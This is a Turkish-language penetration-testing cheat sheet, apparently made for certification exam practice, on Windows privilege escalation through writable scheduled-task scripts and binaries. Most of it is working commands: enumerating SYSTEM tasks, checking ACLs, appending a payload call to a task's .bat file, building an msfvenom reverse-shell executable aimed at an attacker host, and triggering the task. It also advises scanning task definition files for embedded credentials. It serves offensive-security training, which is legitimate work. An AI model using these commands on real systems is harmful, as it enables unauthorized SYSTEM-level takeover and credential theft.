PrivEsc ✓ EXAM-SAFE orta
Scheduled Tasks — Yazilabilir Gorev Binary/Script Sömürusu
Ayricalikli bir kullanici/SYSTEM olarak periyodik calisan zamanlanmis gorevlerin isaret ettigi binary veya script uzerinde yazma yetkimiz varsa, dosyayi payload ile degistirip gorev tetiklendiginde yuksek yetkiyle kod calistiririz.
Bilgi: ÖN KOŞULLAR
- Dusuk yetkili shell
- Gorevin calistirdigi binary/script uzerinde yazma izni
- Gorevin SYSTEM veya admin baglaminda calismasi
┌──
Komutlar
cmd ✓ EXAM-SAFE user
schtasks /query /fo LIST /v Tum zamanlanmis gorevleri ayrintili (calistiran kullanici, eylem, tetik) listele HackTricks — Windows Local Privilege Escalation (Scheduled tasks)
powershell ✓ EXAM-SAFE user
Get-ScheduledTask | Where-Object {$_.Principal.UserId -match 'SYSTEM|Administrator'} | Select-Object TaskName,TaskPath,@{n='RunAs';e={$_.Principal.UserId}} SYSTEM/Administrator olarak calisan gorevleri filtrele HackTricks — Windows Local Privilege Escalation
powershell ✓ EXAM-SAFE user
Get-ScheduledTask -TaskName 'VulnTask' | Select-Object -ExpandProperty Actions Hedef gorevin tam komut satirini (Execute + Arguments) goster HackTricks — Windows Local Privilege Escalation
powershell ✓ EXAM-SAFE user
icacls "C:\Scripts\backup.bat" Gorevin calistirdigi script/binary'nin ACL'sini kontrol et (yazma izni var mi?) HackTricks — Windows Local Privilege Escalation
cmd ✓ EXAM-SAFE user
echo C:\Windows\Temp\rev.exe >> C:\Scripts\backup.bat Yazilabilir .bat/.ps1 script'ine payload cagrisi ekle (append) HackTricks — Windows Local Privilege Escalation
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe Gorev tetiklendiginde calisacak reverse shell uret HackTricks — Windows Local Privilege Escalation
cmd ✓ EXAM-SAFE user
schtasks /run /tn "VulnTask" Yetkimiz varsa gorevi manuel tetikle (yoksa zamanlamasini bekle) HackTricks — Windows Local Privilege Escalation
powershell ✓ EXAM-SAFE user
Get-ChildItem C:\Windows\System32\Tasks -Recurse | Select-Object FullName Gorev tanim XML'lerini listele; bazen burada acik komut/parola bulunur HackTricks — Windows Local Privilege Escalation
Genel Bakis
Zamanlanmis gorevler (Scheduled Tasks) belirli tetiklerde (zaman, oturum acma, olay) calisir ve cogu SYSTEM veya bir yonetici hesabi baglaminda yurutulur. Eger bir gorevin calistirdigi executable/script uzerinde veya bulundugu klasorde yazma yetkimiz varsa, o dosyayi kendi payload’imizla degistirerek gorev calistiginda yuksek yetkiyle kod yuruturuz.
Tespit / Enumerasyon
schtasks /query /fo LIST /vcikitisinda Run As User alanini inceleyin;SYSTEMveya admin hesabi olanlar hedeftir. Task To Run alani calistirilan komuttur.- PowerShell
Get-ScheduledTaskilePrincipal.UserIduzerinden filtreleyin,Actionsile tam komut satirini cikartin. - Tespit edilen her binary/script icin
icaclsile ACL kontrolu yapin. OzellikleC:\Scripts,C:\Temp, vendor klasorleri gibi gevsek izinli yerlere dikkat edin. - winPEAS ve PowerUp
Get-ModifiableScheduledTaskFileile yazilabilir gorev dosyalarini otomatik isaretler.
Sömürü Akisi
- Hedef bir script (.bat/.ps1/.vbs) ise, en basit yontem dosyaya kendi payload cagrimizi eklemektir (append) — orijinal islevi bozmadan.
- Hedef bir .exe ise, orijinali yedekleyip yerine msfvenom EXE’yi kopyalayin.
- Gorevi calistirma yetkimiz varsa
schtasks /runile aninda tetikleyin; yoksa zamanlanmis tetigini bekleyin (dinleyiciyi acik tutun).
Notlar
C:\Windows\System32\Tasksaltindaki XML tanim dosyalari bazen gomulu kimlik bilgileri veya tam komut yolunu acik eder — loot icin tarayin.- Tetik zamani belirsizse, gorev tanimindaki
Triggersalanina bakarak ne zaman calisacagini ogrenin. - Cleanup: orijinal dosyayi geri yukleyin, append ettiginiz satiri silin.
┌──
Kaynaklar
↗ HackTricks — Windows Local Privilege Escalation (Scheduled/Cron tasks)PayloadsAllTheThings — Windows Privilege Escalation (Scheduled Tasks)Microsoft Docs — schtasks.exe